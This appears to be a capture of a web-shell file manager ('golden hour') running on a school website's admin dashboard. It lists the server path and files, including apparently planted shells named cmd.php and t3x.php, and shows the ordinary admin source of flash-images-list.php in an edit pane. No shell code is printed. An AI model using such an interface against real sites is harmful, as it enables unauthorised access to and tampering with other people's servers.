golden hour
/home4/theinves/public_html/seshaasschool.com/dashboard
⬆️ Go Up
Upload
File/Folder
Size
Actions
api
-
Del
OK
apis
-
Del
OK
assets
-
Del
OK
assets-dashboard-css.php
11.76 KB
Del
OK
assets-dashboard-js.php
2.96 KB
Del
OK
asst
-
Del
OK
banner-list.php
5.83 KB
Del
OK
ckeditor
-
Del
OK
cmd.php
193.64 KB
Del
OK
config
-
Del
OK
create-panel-info.php
5.51 KB
Del
OK
data-tables
-
Del
OK
db-connection-error.php
223 B
Del
OK
dpdf.php
12.78 KB
Del
OK
error_log
686 B
Del
OK
flash-images-list.php
9.01 KB
Del
OK
flash-news-gallery.php
8.05 KB
Del
OK
flash-news-list.php
4.93 KB
Del
OK
flash-news-view.php
3.7 KB
Del
OK
flash-news.php
1.62 KB
Del
OK
flash_news_upload.php
7.99 KB
Del
OK
footer.php
7.03 KB
Del
OK
gallery-list.php
4.86 KB
Del
OK
gallery-video-list.php
5.85 KB
Del
OK
gallery-video.php
15.9 KB
Del
OK
gallery-view.php
2.1 KB
Del
OK
gallery-years.php
7.91 KB
Del
OK
gallery.php
8.96 KB
Del
OK
gallery_backup.php
7.12 KB
Del
OK
header.php
8.82 KB
Del
OK
images
-
Del
OK
images-list.php
10.3 KB
Del
OK
img
-
Del
OK
includes
-
Del
OK
index.php
8.84 KB
Del
OK
latest-events-gallery.php
8.06 KB
Del
OK
latest-events-images-list.php
8.98 KB
Del
OK
latest-events-list.php
4.94 KB
Del
OK
latest-events-view.php
3.71 KB
Del
OK
login.php
7.61 KB
Del
OK
logout.php
143 B
Del
OK
media
-
Del
OK
media_upload.php
7.99 KB
Del
OK
modal
-
Del
OK
profile.php
11.6 KB
Del
OK
settings.php
15.34 KB
Del
OK
t3x.php
10.27 KB
Del
OK
ui-api
-
Del
OK
upload.php
14.87 KB
Del
OK
uploads
-
Del
OK
Edit: flash-images-list.php
<?php include "header.php";?> <div class="content-wrapper" style="background:#ecf0f5;"> <div class="col-lg-12 alerts"> <div id="custom-alerts" style="display:none;"> <div class="alert alert-dismissable"> <div class="custom-msg"></div> </div> </div> <?php if ($error) { ?> <div class="alert alert-danger alert-dismissable"> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">×</button> <h4><i class="icon fa fa-ban"></i> Error</h4> <?= $error; ?> </div> <?php } if ($warning) { ?> <div class="alert alert-warning alert-dismissable"> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">×</button> <h4><i class="icon fa fa-warning"></i> Warning</h4> <?= $warning; ?> </div> <?php } if ($message) { ?> <div class="alert alert-success alert-dismissable"> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">×</button> <h4> <i class="icon fa fa-check"></i> Success</h4> <?= $site_name; ?> </div> <?php } ?> </div> <div class="clearfix"></div> <?php $datatable = "var search_table =$('#search_table').val(); var flash_news_id =$('#flash_news_id').val(); var table = $('#StData').DataTable({ 'ajax' : { url: 'data-tables/flash-images-data-table.php', data:{search:search_table, flash_news_id:flash_news_id}, type: 'POST'}, bFilter: true, bDestroy: true, searching: true,pageLength: 20, 'buttons': [ { extend: 'copyHtml5', 'footer': false, exportOptions: { columns: [ 0, 1, 2, 3, 4, 5 ] } }, { extend: 'excelHtml5', 'footer': false, exportOptions: { columns: [ 0, 1, 2, 3, 4, 5 ] } }, { extend: 'csvHtml5', 'footer': false, exportOptions: { columns: [ 0, 1, 2, 3, 4, 5 ] } }, { extend: 'pdfHtml5', orientation: 'landscape', pageSize: 'A4', 'footer': false, exportOptions: { columns: [ 0, 1, 2, 3, 4, 5 ] } }, { extend: 'colvis', text: 'Columns'}, ] });"; ?> <script type="text/javascript"> $(document).ready(function() { emp_data(); function emp_data(){ <?=$datatable?> } $('#flash_news_id').change(function() { emp_data(); }); $('#search_table').keyup(function() { emp_data(); document.getElementById("search_table").focus(); }); }); function delete_Images(id){ var result = confirm("Confirm Want to Delete this Image?"); if (result) { $.ajax({ type: 'POST', url: 'api/delete.php', data: {type:'hard_flash_img_delete',delete_id:id}, success: function(response) { console.log(response); emp_datas(); } }); } } function emp_datas(){ <?=$datatable?> } /***********************************/ $(document).ready(function() { $('#checkAll').click(function () { var check_box_section=$('#check_box_section').text(); if(check_box_section==''){ $('#check_box_section').text('checked'); $('.check_box').prop('checked',true); }else{ $('#check_box_section').text(''); $('.check_box').prop('checked',false); } }); $('#delete_Button').on('click',function(){ var checkValues = $('input[name=assign_ids]:checked').map(function(){ return $(this).val(); }).get(); if(checkValues != ''){ var r = confirm("Confirm If You Want to Delete Those Images?"); if (r == true) { var ids=[]; ids = checkValues; $.ajax({ url: 'api/delete.php', type: 'post', data: {type:'hard_flash_full_delete',assign_id:ids}, success: function(response){ console.log(response); emp_datas(); } }); } }else{ alert("Please Select Minimum One Image for Delete"); } }); }); /***********************************/ </script> <section class="content"> <div class="row"> <div class="row" id="filter_section" style="padding-top: 10px;"> <div class="col-xs-12" style="font-size:12px;" hidden> <div class="col-sm-2"> <label>Flash News</label> <select name="flash_news_id" class="form-control select2" style="width:100%" id="flash_news_id" > <?php $statement = $pdo->prepare("SELECT * FROM `tbl_flash_news` "); $statement->execute(); $result = $statement->fetchAll(PDO::FETCH_ASSOC); foreach($result as $res){ ?> <option value='<?=$res['id']?>' <?php if(isset($_GET['id']) && $_GET['id']==$res['id']){echo "selected";}?>><?=$res['title']?></option> <?php } ?> </select> </div> <div class="col-sm-2"> <span class="btn btn-info btn-sm" id="btngetEmployee" style="margin-top: 22px;"><i class="fa fa-eye" aria-hidden="true"></i> Show Details</span> </div> </div> </div> <div class="col-xs-12" style="margin-top: 10px;"> <div class="box box-warning"> <div class="box-header"> <h3 class="box-title"><b><i class="fa fa-list"></i> Images List</b></h3> </div> <div class="box-body"> <div class="clearfix"></div> <div class="table-responsive"> <table id="StData" class="table table-striped table-bordered table-condensed table-hover" style="margin-bottom:5px;font-size: 12px;"> <thead> <tr> <td colspan="12" class="p0"><input type="text" class="form-control b0" name="search_table" id="search_table" placeholder="Search Here" style="width:100%;background-color: #3c8dbc;color: white;"></td> </tr> <tr class="active"> <th style="width:100px;">Actions</th> <th data-sortable="false" id="checkAll"><i class="fa fa-check"></i> <span id="check_box_section"></span> </th> <th>S.No</th> <th>Flash News</th> <th>Image</th> <th>View</th> <th>Created At</th> </tr> </thead> <tbody> <tr> <td colspan="10" class="dataTables_empty"><center> Loading Pls Wait Data</center></td> </tr> </tbody> </table> </div> <div class="clearfix"></div> <div class="row"> <div class="col-md-4"> <button class="btn btn-info" id="delete_Button">Delete</button> </div> </div> </div> </div> </div> </div> </section> <?php include "footer.php";?>
Save